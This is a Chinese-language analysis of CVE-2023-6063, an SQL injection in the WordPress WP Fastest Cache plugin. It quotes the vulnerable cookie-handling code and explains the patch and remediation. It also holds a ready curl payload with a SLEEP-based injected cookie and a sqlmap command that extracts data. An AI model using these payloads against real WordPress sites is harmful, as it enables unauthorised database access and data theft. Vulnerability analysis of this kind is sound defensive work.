CVE-2023-6063分析|WordPress WP Fastest Cache 插件导致的SQL注入
字数 1104 2025-08-24 07:48:22

WordPress WP Fastest Cache 插件 SQL 注入漏洞分析 (CVE-2023-6063)

漏洞概述

CVE-2023-6063 是 WordPress 插件 WP Fastest Cache 中存在的一个 SQL 注入漏洞,影响版本低于 1.2.2。该漏洞允许攻击者通过精心构造的 Cookie 值执行任意 SQL 查询,可能导致敏感数据泄露或服务器被控制。

受影响版本

  • WP Fastest Cache 插件 < 1.2.2
  • WordPress 版本无限制

漏洞环境要求

  1. 安装 WordPress(任何版本)
  2. 安装 WP Fastest Cache 插件 1.2.1 或更低版本
  3. 启用 WP Fastest Cache 插件
  4. 启用"缓存系统"功能

漏洞位置

漏洞位于 cache.php 文件中的 is_user_admin() 方法:

public function is_user_admin(){
    global $wpdb;
    foreach ((array)$_COOKIE as $cookie_key => $cookie_value){
        if(preg_match("/wordpress_logged_in/i", $cookie_key)){
            $username = preg_replace("/\|.*/", "", $cookie_value);
            break;
        }
    }
    
    if(isset($username) && $username){
        $res = $wpdb->get_var("SELECT `$wpdb->users`.`ID`, `$wpdb->users`.`user_login`, `$wpdb->usermeta`.`meta_key`, `$wpdb->usermeta`.`meta_value` 
                              FROM `$wpdb->users` 
                              INNER JOIN `$wpdb->usermeta` 
                              ON `$wpdb->users`.`user_login` = \"$username\" 
                              AND `$wpdb->usermeta`.`meta_key` LIKE \"%_user_level\" 
                              AND `$wpdb->usermeta`.`meta_value` = \"10\" 
                              AND `$wpdb->users`.`ID` = `$wpdb->usermeta`.user_id ;");
        return $res;
    }
    return false;
}

漏洞触发流程

  1. 插件加载时创建 WpFastestCache 对象
  2. 构造函数调用 cache() 方法
  3. cache() 方法调用 createCache() 方法
  4. createCache() 方法调用 is_user_admin() 方法
  5. is_user_admin() 方法从 Cookie 中提取 wordpress_logged_in
  6. 提取第一个 | 前的字符串作为用户名
  7. 未经过滤直接拼接到 SQL 查询中

漏洞利用方法

手动利用

构造恶意 Cookie 发送请求:

curl https://example.com -H "Cookie: wordpress_logged_in=1234\" AND (SELECT 2537 FROM (SELECT(SLEEP(5)))Sazm) AND \"qzts\"=\"qzts"

使用 sqlmap 自动化利用

python sqlmap.py --dbms=mysql -u "http://your-url/wp-login.php" --cookie='wordpress_logged_in_732bf205f063fd120b84d8a0d44e2d5d=*' --level=2 --current-user

有效载荷示例

正常 WordPress 登录 Cookie 格式:

wordpress|1702575454|gquEYSZ8lNbJktLUWLpElq4XybIhpPmOL3MmTMcqi4X|91c52c9d088ad036d8ccdc6ef645adfd906829527d27ea494140369cdbfbb1b9

恶意载荷只需修改第一个 | 前的内容即可注入 SQL 代码。

漏洞修复

WP Fastest Cache 插件在 1.2.2 版本中修复了此漏洞,主要措施是对输入参数进行了适当的过滤和转义。

修复建议

  1. 立即升级 WP Fastest Cache 插件至 1.2.2 或更高版本
  2. 对所有用户输入进行严格的过滤和转义
  3. 使用 WordPress 提供的 prepare 方法处理 SQL 查询
  4. 实施最小权限原则,限制数据库用户权限

技术要点总结

  1. 漏洞根源:未过滤的用户输入直接拼接到 SQL 查询
  2. 触发条件:插件启用且缓存系统开启
  3. 攻击向量:通过 Cookie 中的 wordpress_logged_in 值注入
  4. 影响范围:可导致 SQL 注入攻击,获取数据库敏感信息
  5. 修复方法:参数过滤和使用预处理语句

参考

  • CVE-2023-6063
  • WP Fastest Cache 插件更新日志
  • WordPress 官方安全建议
WordPress WP Fastest Cache 插件 SQL 注入漏洞分析 (CVE-2023-6063) 漏洞概述 CVE-2023-6063 是 WordPress 插件 WP Fastest Cache 中存在的一个 SQL 注入漏洞,影响版本低于 1.2.2。该漏洞允许攻击者通过精心构造的 Cookie 值执行任意 SQL 查询,可能导致敏感数据泄露或服务器被控制。 受影响版本 WP Fastest Cache 插件 < 1.2.2 WordPress 版本无限制 漏洞环境要求 安装 WordPress(任何版本) 安装 WP Fastest Cache 插件 1.2.1 或更低版本 启用 WP Fastest Cache 插件 启用"缓存系统"功能 漏洞位置 漏洞位于 cache.php 文件中的 is_user_admin() 方法: 漏洞触发流程 插件加载时创建 WpFastestCache 对象 构造函数调用 cache() 方法 cache() 方法调用 createCache() 方法 createCache() 方法调用 is_user_admin() 方法 is_user_admin() 方法从 Cookie 中提取 wordpress_logged_in 值 提取第一个 | 前的字符串作为用户名 未经过滤直接拼接到 SQL 查询中 漏洞利用方法 手动利用 构造恶意 Cookie 发送请求: 使用 sqlmap 自动化利用 有效载荷示例 正常 WordPress 登录 Cookie 格式: 恶意载荷只需修改第一个 | 前的内容即可注入 SQL 代码。 漏洞修复 WP Fastest Cache 插件在 1.2.2 版本中修复了此漏洞,主要措施是对输入参数进行了适当的过滤和转义。 修复建议 立即升级 WP Fastest Cache 插件至 1.2.2 或更高版本 对所有用户输入进行严格的过滤和转义 使用 WordPress 提供的 prepare 方法处理 SQL 查询 实施最小权限原则,限制数据库用户权限 技术要点总结 漏洞根源:未过滤的用户输入直接拼接到 SQL 查询 触发条件:插件启用且缓存系统开启 攻击向量:通过 Cookie 中的 wordpress_logged_in 值注入 影响范围:可导致 SQL 注入攻击,获取数据库敏感信息 修复方法:参数过滤和使用预处理语句 参考 CVE-2023-6063 WP Fastest Cache 插件更新日志 WordPress 官方安全建议